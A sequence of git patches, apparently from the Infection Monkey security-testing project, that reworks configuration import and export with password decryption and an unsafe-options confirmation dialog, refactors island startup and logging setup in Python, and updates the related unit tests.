@@ -45,12 +45,13 @@ const ConfigExportModal = (props: Props) => { ); } FileSaver.saveAs(configToExport, 'monkey.conf'); + props.onHide(); }) } return ( diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 0aae3f3562f..74f7b5b4d11 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -228,16 +228,14 @@ class ConfigurePageComponent extends AuthComponent { renderConfigExportModal = () => { return () - } - - onExport = () => { - this.setState({showConfigExportModal: false}) + onHide={() => { + this.setState({showConfigExportModal: false}); + }}/>); } renderConfigImportModal = () => { return () + onClose={this.onClose}/>); } onClose = (importSuccessful) => { From 500f270aa97553389635875a24983b738628fc59 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 2 Jun 2021 15:15:21 +0300 Subject: [PATCH 0634/1360] Fixed, improved and tested configuration import and export. --- .../monkey_island/cc/resources/configuration_import.py | 8 ++++++-- .../monkey_island/cc/services/utils/config_encryption.py | 7 +------ .../configuration-components/ImportConfigModal.tsx | 9 ++++----- .../cc/services/utils/test_config_encryption.py | 8 +++++--- 4 files changed, 16 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py index 9e4731d7ffc..7e3327cbe5d 100644 --- a/monkey/monkey_island/cc/resources/configuration_import.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -1,6 +1,7 @@ import json import logging from dataclasses import dataclass +from json.decoder import JSONDecodeError import flask_restful from flask import request @@ -35,8 +36,11 @@ class ConfigurationImport(flask_restful.Resource): def post(self): request_contents = json.loads(request.data) try: - decrypt_config(request_contents["config"], request_contents["password"]) - ConfigurationImport.import_config(request_contents["config"]) + try: + config = json.loads(request_contents["config"]) + except JSONDecodeError: + config = decrypt_config(request_contents["config"], request_contents["password"]) + ConfigurationImport.import_config(config) return ResponseContents().form_response() except InvalidCredentialsError: return ResponseContents( diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py index 086ad00a6fc..9c2858db30f 100644 --- a/monkey/monkey_island/cc/services/utils/config_encryption.py +++ b/monkey/monkey_island/cc/services/utils/config_encryption.py @@ -31,12 +31,7 @@ def decrypt_config(cyphertext: Union[str, dict], password: str) -> Dict: if not password: raise NoCredentialsError - try: - cyphertext = base64.b64decode(cyphertext) - except TypeError: - logger.info("Configuration doesn't require decryption.") - return cyphertext - + cyphertext = base64.b64decode(cyphertext) ciphertext_config_stream = io.BytesIO(cyphertext) dec_plaintext_config_stream = io.BytesIO() diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx index 6404dc317a4..9da33cd4aff 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx @@ -18,14 +18,14 @@ const ConfigImportModal = (props: Props) => { const configImportEndpoint = '/api/configuration/import'; const [uploadStatus, setUploadStatus] = useState(UploadStatuses.clean); - const [configContents, setConfigContents] = useState(''); + const [configContents, setConfigContents] = useState(null); const [password, setPassword] = useState(''); const [showPassword, setShowPassword] = useState(false); const [errorMessage, setErrorMessage] = useState(''); const authComponent = new AuthComponent({}); useEffect(() => { - if (configContents !== '') { + if (configContents !== null) { sendConfigToServer(); } }, [configContents]) @@ -54,7 +54,6 @@ const ConfigImportModal = (props: Props) => { } else { setUploadStatus(UploadStatuses.success); } - console.log(res['import_status']); return res['import_status']; }) } @@ -66,7 +65,7 @@ const ConfigImportModal = (props: Props) => { function resetState() { setUploadStatus(UploadStatuses.clean); setPassword(''); - setConfigContents(''); + setConfigContents(null); setErrorMessage(''); setShowPassword(false); } @@ -74,7 +73,7 @@ const ConfigImportModal = (props: Props) => { function uploadFile(event) { let reader = new FileReader(); reader.onload = (event) => { - setConfigContents(JSON.stringify(event.target.result)) + setConfigContents(event.target.result); }; reader.readAsText(event.target.files[0]); diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py index 8f3ba4cbfcd..4bc21c0411f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py @@ -7,7 +7,7 @@ MALFORMED_CYPHER_TEXT_TOO_SHORT, ) -from common.utils.exceptions import InvalidCredentialsError +from common.utils.exceptions import InvalidCredentialsError, NoCredentialsError from monkey_island.cc.services.utils.config_encryption import decrypt_config, encrypt_config MONKEY_CONFIGS_DIR_PATH = "monkey_configs" @@ -43,5 +43,7 @@ def test_encrypt_decrypt_config__malformed(): decrypt_config(MALFORMED_CYPHER_TEXT_CORRUPTED, PASSWORD) -def test_decrypt_config__unencrypted(plaintext_config): - assert plaintext_config == decrypt_config(plaintext_config, PASSWORD) +def test_decrypt_config__no_password(plaintext_config): + encrypted_config = encrypt_config(plaintext_config, PASSWORD) + with pytest.raises(NoCredentialsError): + decrypt_config(encrypted_config, "") From fc1f12c24d7ace3a8626b8455cace2a7e0942833 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 2 Jun 2021 17:02:10 +0300 Subject: [PATCH 0635/1360] Implemented safety check on import. --- .../cc/resources/configuration_import.py | 15 ++- .../ImportConfigModal.tsx | 100 ++++++++++++------ vulture_allowlist.py | 3 +- 3 files changed, 84 insertions(+), 34 deletions(-) diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py index 7e3327cbe5d..10a33263ac1 100644 --- a/monkey/monkey_island/cc/resources/configuration_import.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -21,6 +21,8 @@ class ResponseContents: import_status: str = "imported" message: str = "" status_code: int = 200 + config: str = "" + config_schema: str = "" def form_response(self): return self.__dict__, self.status_code @@ -40,8 +42,17 @@ def post(self): config = json.loads(request_contents["config"]) except JSONDecodeError: config = decrypt_config(request_contents["config"], request_contents["password"]) - ConfigurationImport.import_config(config) - return ResponseContents().form_response() + + if request_contents["unsafeOptionsVerified"]: + ConfigurationImport.import_config(config) + return ResponseContents().form_response() + else: + return ResponseContents( + config=config, + config_schema=ConfigService.get_config_schema(), + import_status="unsafe_options_verification_required", + status_code=403, + ).form_response() except InvalidCredentialsError: return ResponseContents( import_status="wrong_password", message="Wrong password supplied", status_code=403 diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx index 9da33cd4aff..7023b2546ad 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx @@ -1,11 +1,14 @@ import {Button, Modal, Form, Alert} from 'react-bootstrap'; import React, {useEffect, useState} from 'react'; +import {faExclamationCircle} from '@fortawesome/free-solid-svg-icons/faExclamationCircle'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import AuthComponent from '../AuthComponent'; import '../../styles/components/configuration-components/ImportConfigModal.scss'; +import UnsafeOptionsConfirmationModal + from '../configuration-components/UnsafeOptionsConfirmationModal.js'; import UploadStatusIcon, {UploadStatuses} from '../ui-components/UploadStatusIcon'; -import {faExclamationCircle} from '@fortawesome/free-solid-svg-icons/faExclamationCircle'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js'; type Props = { @@ -19,9 +22,15 @@ const ConfigImportModal = (props: Props) => { const [uploadStatus, setUploadStatus] = useState(UploadStatuses.clean); const [configContents, setConfigContents] = useState(null); + const [candidateConfig, setCandidateConfig] = useState(null); const [password, setPassword] = useState(''); const [showPassword, setShowPassword] = useState(false); const [errorMessage, setErrorMessage] = useState(''); + const [unsafeOptionsVerified, setUnsafeOptionsVerified] = useState(false); + const [showUnsafeOptionsConfirmation, + setShowUnsafeOptionsConfirmation] = useState(false); + const [fileFieldKey, setFileFieldKey] = useState(Date.now()); + const authComponent = new AuthComponent({}); useEffect(() => { @@ -38,21 +47,31 @@ const ConfigImportModal = (props: Props) => { headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ config: configContents, - password: password + password: password, + unsafeOptionsVerified: unsafeOptionsVerified }) } ).then(res => res.json()) .then(res => { if (res['import_status'] === 'password_required') { + setUploadStatus(UploadStatuses.success); setShowPassword(true); - } else if (res['import_status'] === 'wrong_password'){ + } else if (res['import_status'] === 'wrong_password') { setErrorMessage(res['message']); - } - if (res['import_status'] === 'invalid_configuration'){ + } else if (res['import_status'] === 'invalid_configuration') { setUploadStatus(UploadStatuses.error); setErrorMessage(res['message']); - } else { - setUploadStatus(UploadStatuses.success); + } else if (res['import_status'] === 'unsafe_options_verification_required') { + if (isUnsafeOptionSelected(res['config_schema'], res['config'])) { + setShowUnsafeOptionsConfirmation(true); + setCandidateConfig(JSON.stringify(res['config'])); + } else { + setUnsafeOptionsVerified(true); + setConfigContents(res['config']); + } + } else if (res['import_status'] === 'imported'){ + resetState(); + props.onClose(true); } return res['import_status']; }) @@ -68,6 +87,9 @@ const ConfigImportModal = (props: Props) => { setConfigContents(null); setErrorMessage(''); setShowPassword(false); + setShowUnsafeOptionsConfirmation(false); + setUnsafeOptionsVerified(false); + setFileFieldKey(Date.now()); // Resets the file input } function uploadFile(event) { @@ -76,50 +98,66 @@ const ConfigImportModal = (props: Props) => { setConfigContents(event.target.result); }; reader.readAsText(event.target.files[0]); - } - function onImportClick() { - sendConfigToServer().then((importStatus) => { - if(importStatus === 'imported'){ - resetState(); - props.onClose(true); - } - }); + function showVerificationDialog() { + return ( + { + resetState(); + }} + onContinueClick={() => { + setUnsafeOptionsVerified(true); + setConfigContents(candidateConfig); + }} + /> + ); } return ( - {resetState(); props.onClose(false)}} - size={'lg'} - className={'config-import-modal'}> - - Configuration import + < + Modal + show={props.show} + onHide={() => { + resetState(); + props.onClose(false) + }} + size={'lg'} + className={'config-import-modal'}> + < Modal.Header + closeButton> + < Modal.Title> + Configuration + import + + {showVerificationDialog()}
    - + className={'file-input'} + key={fileFieldKey}/> - {showPassword && } + {showPassword && } - { errorMessage && - - - {errorMessage} - + {errorMessage && + + + {errorMessage} + }
    diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 8ee281d6031..2c937ee4f35 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -169,7 +169,8 @@ mock_port_in_env_singleton # monkey\tests\unit_tests\monkey_island\cc\services\test_config.py:26: ISLAND # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:14) MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26) -import_status # \monkey_island\cc\resources\configuration_import.py:19 +import_status # monkey_island\cc\resources\configuration_import.py:19 +config_schema # monkey_island\cc\resources\configuration_import.py:25 # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From b407094a2ffb0d768b6268e15f9e53750c3e8938 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 3 Jun 2021 11:24:46 +0300 Subject: [PATCH 0636/1360] Reworded the text of UnsafeOptionsConfirmationModal to specify that it's about configuration and renamed it to UnsafeConfigOptionsConfirmationModal --- .../configuration-components/ImportConfigModal.tsx | 6 +++--- ...odal.js => UnsafeConfigOptionsConfirmationModal.js} | 10 ++++++---- .../cc/ui/src/components/pages/ConfigurePage.js | 6 +++--- 3 files changed, 12 insertions(+), 10 deletions(-) rename monkey/monkey_island/cc/ui/src/components/configuration-components/{UnsafeOptionsConfirmationModal.js => UnsafeConfigOptionsConfirmationModal.js} (70%) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx index 7023b2546ad..3f355e9177d 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx @@ -5,8 +5,8 @@ import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import AuthComponent from '../AuthComponent'; import '../../styles/components/configuration-components/ImportConfigModal.scss'; -import UnsafeOptionsConfirmationModal - from '../configuration-components/UnsafeOptionsConfirmationModal.js'; +import UnsafeConfigOptionsConfirmationModal + from './UnsafeConfigOptionsConfirmationModal.js'; import UploadStatusIcon, {UploadStatuses} from '../ui-components/UploadStatusIcon'; import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js'; @@ -102,7 +102,7 @@ const ConfigImportModal = (props: Props) => { function showVerificationDialog() { return ( - { resetState(); diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeConfigOptionsConfirmationModal.js similarity index 70% rename from monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js rename to monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeConfigOptionsConfirmationModal.js index d21bf560137..b6de83f4292 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeConfigOptionsConfirmationModal.js @@ -1,15 +1,17 @@ import React from 'react'; import {Modal, Button} from 'react-bootstrap'; -function UnsafeOptionsConfirmationModal(props) { +function UnsafeConfigOptionsConfirmationModal(props) { return ( - +

    Warning

    - Some of the selected options could cause systems to become unstable or malfunction. + Some of the configuration options could cause systems to become unstable or malfunction. Are you sure you want to submit the selected settings?

    @@ -33,4 +35,4 @@ function UnsafeOptionsConfirmationModal(props) { ) } -export default UnsafeOptionsConfirmationModal; +export default UnsafeConfigOptionsConfirmationModal; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 74f7b5b4d11..361c52f8389 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -10,8 +10,8 @@ import {faExclamationCircle} from '@fortawesome/free-solid-svg-icons/faExclamati import {formValidationFormats} from '../configuration-components/ValidationFormats'; import transformErrors from '../configuration-components/ValidationErrorMessages'; import InternalConfig from '../configuration-components/InternalConfig'; -import UnsafeOptionsConfirmationModal - from '../configuration-components/UnsafeOptionsConfirmationModal.js'; +import UnsafeConfigOptionsConfirmationModal + from '../configuration-components/UnsafeConfigOptionsConfirmationModal.js'; import UnsafeOptionsWarningModal from '../configuration-components/UnsafeOptionsWarningModal.js'; import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js'; import ConfigExportModal from '../configuration-components/ExportConfigModal'; @@ -277,7 +277,7 @@ class ConfigurePageComponent extends AuthComponent { renderUnsafeOptionsConfirmationModal() { return ( - Date: Thu, 3 Jun 2021 13:30:27 +0300 Subject: [PATCH 0637/1360] Fixed bugs in config import backend (related to json parsing and stringifying) and front end (unsafe import warning overlay) --- monkey/monkey_island/cc/resources/configuration_import.py | 2 +- .../configuration-components/ImportConfigModal.tsx | 6 +++--- .../configuration-components/ImportConfigModal.scss | 8 ++++++++ 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py index 10a33263ac1..549ff1a9382 100644 --- a/monkey/monkey_island/cc/resources/configuration_import.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -48,7 +48,7 @@ def post(self): return ResponseContents().form_response() else: return ResponseContents( - config=config, + config=json.dumps(config), config_schema=ConfigService.get_config_schema(), import_status="unsafe_options_verification_required", status_code=403, diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx index 3f355e9177d..c1e12ae8621 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx @@ -62,9 +62,9 @@ const ConfigImportModal = (props: Props) => { setUploadStatus(UploadStatuses.error); setErrorMessage(res['message']); } else if (res['import_status'] === 'unsafe_options_verification_required') { - if (isUnsafeOptionSelected(res['config_schema'], res['config'])) { + if (isUnsafeOptionSelected(res['config_schema'], JSON.parse(res['config']))) { setShowUnsafeOptionsConfirmation(true); - setCandidateConfig(JSON.stringify(res['config'])); + setCandidateConfig(res['config']); } else { setUnsafeOptionsVerified(true); setConfigContents(res['config']); @@ -133,8 +133,8 @@ const ConfigImportModal = (props: Props) => { - {showVerificationDialog()}
    + {showVerificationDialog()}
    Date: Thu, 3 Jun 2021 16:56:43 +0300 Subject: [PATCH 0638/1360] Improved readability in configuration_import.py by removing unused variables and extracting methods. --- .../cc/resources/configuration_import.py | 44 +++++++++++-------- 1 file changed, 25 insertions(+), 19 deletions(-) diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py index 549ff1a9382..40413c3f50a 100644 --- a/monkey/monkey_island/cc/resources/configuration_import.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -15,20 +15,27 @@ from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.utils.config_encryption import decrypt_config +logger = logging.getLogger(__name__) + + +class ImportStatuses: + UNSAFE_OPTION_VERIFICATION_REQUIRED = "unsafe_options_verification_required" + INVALID_CONFIGURATION = "invalid_configuration" + PASSWORD_REQUIRED = "password_required" + WRONG_PASSWORD = "wrong_password" + IMPORTED = "imported" + @dataclass class ResponseContents: - import_status: str = "imported" + import_status: str = ImportStatuses.IMPORTED message: str = "" status_code: int = 200 config: str = "" config_schema: str = "" def form_response(self): - return self.__dict__, self.status_code - - -logger = logging.getLogger(__name__) + return self.__dict__ class ConfigurationImport(flask_restful.Resource): @@ -38,11 +45,7 @@ class ConfigurationImport(flask_restful.Resource): def post(self): request_contents = json.loads(request.data) try: - try: - config = json.loads(request_contents["config"]) - except JSONDecodeError: - config = decrypt_config(request_contents["config"], request_contents["password"]) - + config = ConfigurationImport._get_plaintext_config_from_request(request_contents) if request_contents["unsafeOptionsVerified"]: ConfigurationImport.import_config(config) return ResponseContents().form_response() @@ -50,28 +53,31 @@ def post(self): return ResponseContents( config=json.dumps(config), config_schema=ConfigService.get_config_schema(), - import_status="unsafe_options_verification_required", - status_code=403, + import_status=ImportStatuses.UNSAFE_OPTION_VERIFICATION_REQUIRED, ).form_response() except InvalidCredentialsError: return ResponseContents( - import_status="wrong_password", message="Wrong password supplied", status_code=403 + import_status=ImportStatuses.WRONG_PASSWORD, message="Wrong password supplied" ).form_response() except InvalidConfigurationError: return ResponseContents( - import_status="invalid_configuration", + import_status=ImportStatuses.INVALID_CONFIGURATION, message="Invalid configuration supplied. " "Maybe the format is outdated or the file is corrupted.", - status_code=400, ).form_response() except NoCredentialsError: return ResponseContents( - import_status="password_required", - message="Configuration file is protected with a password. " - "Please enter the password", - status_code=403, + import_status=ImportStatuses.PASSWORD_REQUIRED, ).form_response() + @staticmethod + def _get_plaintext_config_from_request(request_contents: dict) -> dict: + try: + config = json.loads(request_contents["config"]) + except JSONDecodeError: + config = decrypt_config(request_contents["config"], request_contents["password"]) + return config + @staticmethod def import_config(config_json): if not ConfigService.update_config(config_json, should_encrypt=True): From 53bb6f78790a669f47bc79d4bc53dbbf93029493 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 3 Jun 2021 17:07:10 +0300 Subject: [PATCH 0639/1360] Added changes of configuration encryption/decryption to CHANGELOG.md --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6ab9cfb1a22..618a504eb4a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -48,3 +48,4 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Security - Address minor issues discovered by Dlint. #1075 - Generate random passwords when creating a new user (create user PBA, ms08_67 exploit). #1174 +- Implemented configuration encryption/decryption #1172 From cc00b85edc846f0cd0e157e350275a015ad8ec18 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 1 Jun 2021 12:54:52 +0300 Subject: [PATCH 0640/1360] Refactored monkey island startup files to the old structure which was compatible with our build scripts. --- monkey/monkey_island.py | 32 ++------------------- monkey/monkey_island/monkey_island.spec | 2 +- monkey/monkey_island/startup.py | 37 +++++++++++++++++++++++++ 3 files changed, 40 insertions(+), 31 deletions(-) create mode 100644 monkey/monkey_island/startup.py diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index f96314c63ee..b51ffcb9467 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -1,32 +1,4 @@ -# This import patches other imports and needs to be first -import monkey_island.setup.gevent_setup # noqa: F401 isort:skip - -import json - -from monkey_island.cc.arg_parser import parse_cli_args -from monkey_island.cc.server_setup import setup_island -from monkey_island.cc.server_utils.island_logger import setup_logging -from monkey_island.setup.config_setup import setup_config_by_cmd_arg, setup_default_config +from monkey_island.startup import start_island if "__main__" == __name__: - island_args = parse_cli_args() - - # This is here in order to catch EVERYTHING, some functions are being called on - # imports, so the log init needs to be first. - try: - if island_args.server_config_path: - config, server_config_path = setup_config_by_cmd_arg(island_args.server_config_path) - else: - config, server_config_path = setup_default_config() - - setup_logging(config.data_dir, config.log_level) - - except OSError as ex: - print(f"Error opening server config file: {ex}") - exit(1) - - except json.JSONDecodeError as ex: - print(f"Error loading server config: {ex}") - exit(1) - - setup_island(island_args.setup_only, config, server_config_path) + start_island() diff --git a/monkey/monkey_island/monkey_island.spec b/monkey/monkey_island/monkey_island.spec index 59f95e34f91..9994fbffd87 100644 --- a/monkey/monkey_island/monkey_island.spec +++ b/monkey/monkey_island/monkey_island.spec @@ -16,7 +16,7 @@ def main(): ("../monkey_island/cc/services/attack/attack_data", "/monkey_island/cc/services/attack/attack_data") ] - a = Analysis(['cc/main.py'], + a = Analysis(['startup.py'], pathex=['..'], hiddenimports=get_hidden_imports(), hookspath=[os.path.join(".", "pyinstaller_hooks")], diff --git a/monkey/monkey_island/startup.py b/monkey/monkey_island/startup.py new file mode 100644 index 00000000000..f53c679ab94 --- /dev/null +++ b/monkey/monkey_island/startup.py @@ -0,0 +1,37 @@ +# This import patches other imports and needs to be first +import monkey_island.setup.gevent_setup # noqa: F401 isort:skip + +import json + +from monkey_island.cc.arg_parser import parse_cli_args +from monkey_island.cc.server_setup import setup_island +from monkey_island.cc.server_utils.island_logger import setup_logging +from monkey_island.setup.config_setup import setup_config_by_cmd_arg, setup_default_config + + +def start_island(): + island_args = parse_cli_args() + + # This is here in order to catch EVERYTHING, some functions are being called on + # imports, so the log init needs to be first. + try: + if island_args.server_config_path: + config, server_config_path = setup_config_by_cmd_arg(island_args.server_config_path) + else: + config, server_config_path = setup_default_config() + + setup_logging(config.data_dir, config.log_level) + + except OSError as ex: + print(f"Error opening server config file: {ex}") + exit(1) + + except json.JSONDecodeError as ex: + print(f"Error loading server config: {ex}") + exit(1) + + setup_island(island_args.setup_only, config, server_config_path) + + +if "__main__" == __name__: + start_island() From 14b68580f8feb2e848d135b49ab75d48f299befe Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Jun 2021 13:47:41 -0400 Subject: [PATCH 0641/1360] island: Configure loggin in python code instead of JSON --- .../cc/server_utils/island_logger.py | 71 +++++++++---------- 1 file changed, 34 insertions(+), 37 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index c05915bc813..beb6df94fb0 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -1,38 +1,15 @@ -import logging.config +import logging +import logging.handlers import os -from copy import deepcopy +import sys ISLAND_LOG_FILENAME = "monkey_island.log" - -LOGGER_CONFIG_DICT = { - "version": 1, - "disable_existing_loggers": False, - "formatters": { - "simple": { - "format": "%(asctime)s - %(filename)s:%(lineno)s - " - + "%(funcName)10s() - %(levelname)s - %(message)s" - } - }, - "handlers": { - "console_handler": { - "class": "logging.StreamHandler", - "formatter": "simple", - "stream": "ext://sys.stdout", - }, - "file_handler": { - "class": "logging.handlers.RotatingFileHandler", - "formatter": "simple", - "filename": None, # set in setup_logging() - "maxBytes": 10485760, - "backupCount": 20, - "encoding": "utf8", - }, - }, - "root": { - "level": None, # set in setup_logging() - "handlers": ["console_handler", "file_handler"], - }, -} +LOG_FORMAT = ( + "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" +) +FILE_MAX_BYTES = 10485760 +FILE_BACKUP_COUNT = 20 +FILE_ENCODING = "utf8" def setup_logging(data_dir_path, log_level): @@ -42,12 +19,32 @@ def setup_logging(data_dir_path, log_level): :param log_level: level to log from :return: """ + logger = logging.getLogger() + logger.setLevel(log_level.upper()) + + formatter = _get_log_formatter() + + log_file_path = os.path.join(data_dir_path, ISLAND_LOG_FILENAME) + _add_file_handler(logger, formatter, log_file_path) + + _add_console_handler(logger, formatter) + - logger_configuration = deepcopy(LOGGER_CONFIG_DICT) +def _get_log_formatter(): + return logging.Formatter(LOG_FORMAT) - logger_configuration["handlers"]["file_handler"]["filename"] = os.path.join( - data_dir_path, ISLAND_LOG_FILENAME + +def _add_file_handler(logger, formatter, file_path): + fh = logging.handlers.RotatingFileHandler( + file_path, maxBytes=FILE_MAX_BYTES, backupCount=FILE_BACKUP_COUNT, encoding=FILE_ENCODING ) - logger_configuration["root"]["level"] = log_level.upper() + fh.setFormatter(formatter) + + logger.addHandler(fh) + + +def _add_console_handler(logger, formatter): + ch = logging.StreamHandler(stream=sys.stdout) + ch.setFormatter(formatter) - logging.config.dictConfig(logger_configuration) + logger.addHandler(ch) From 583115c419148c90e80200c5b11cade6fc5793e1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 08:38:57 -0400 Subject: [PATCH 0642/1360] island: Reset logger handlers after each test The root logger does not get reset for each test that is run. Add an autouse fixture that resets the logger handlers after each test run so that handlers do not accumulate in the root logger. --- .../cc/server_utils/island_logger.py | 7 ++++++ .../cc/server_utils/test_island_logger.py | 25 +++++++++++++------ 2 files changed, 24 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index beb6df94fb0..9a8929e3a41 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -48,3 +48,10 @@ def _add_console_handler(logger, formatter): ch.setFormatter(formatter) logger.addHandler(ch) + + +def reset_logger(): + logger = logging.getLogger() + + for handler in logger.handlers: + logger.removeHandler(handler) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py index 9f4e59af8f5..6061109d1e3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py @@ -1,16 +1,25 @@ import logging import os -from monkey_island.cc.server_utils.island_logger import ISLAND_LOG_FILENAME, setup_logging +import pytest + +import monkey_island.cc.server_utils.island_logger as island_logger + + +@pytest.fixture(autouse=True) +def reset_logger(): + yield + + island_logger.reset_logger() def test_setup_logging_file_log_level_debug(tmpdir): DATA_DIR = tmpdir - LOG_FILE = os.path.join(DATA_DIR, ISLAND_LOG_FILENAME) + LOG_FILE = os.path.join(DATA_DIR, island_logger.ISLAND_LOG_FILENAME) LOG_LEVEL = "DEBUG" TEST_STRING = "Hello, Monkey! (File; Log level: debug)" - setup_logging(DATA_DIR, LOG_LEVEL) + island_logger.setup_logging(DATA_DIR, LOG_LEVEL) logger = logging.getLogger("TestLogger") logger.debug(TEST_STRING) @@ -23,11 +32,11 @@ def test_setup_logging_file_log_level_debug(tmpdir): def test_setup_logging_file_log_level_info(tmpdir): DATA_DIR = tmpdir - LOG_FILE = os.path.join(DATA_DIR, ISLAND_LOG_FILENAME) + LOG_FILE = os.path.join(DATA_DIR, island_logger.ISLAND_LOG_FILENAME) LOG_LEVEL = "INFO" TEST_STRING = "Hello, Monkey! (File; Log level: info)" - setup_logging(DATA_DIR, LOG_LEVEL) + island_logger.setup_logging(DATA_DIR, LOG_LEVEL) logger = logging.getLogger("TestLogger") logger.debug(TEST_STRING) @@ -43,7 +52,7 @@ def test_setup_logging_console_log_level_debug(capsys, tmpdir): LOG_LEVEL = "DEBUG" TEST_STRING = "Hello, Monkey! (Console; Log level: debug)" - setup_logging(DATA_DIR, LOG_LEVEL) + island_logger.setup_logging(DATA_DIR, LOG_LEVEL) logger = logging.getLogger("TestLogger") logger.debug(TEST_STRING) @@ -57,7 +66,7 @@ def test_setup_logging_console_log_level_info(capsys, tmpdir): LOG_LEVEL = "INFO" TEST_STRING = "Hello, Monkey! (Console; Log level: info)" - setup_logging(DATA_DIR, LOG_LEVEL) + island_logger.setup_logging(DATA_DIR, LOG_LEVEL) logger = logging.getLogger("TestLogger") logger.debug(TEST_STRING) @@ -71,7 +80,7 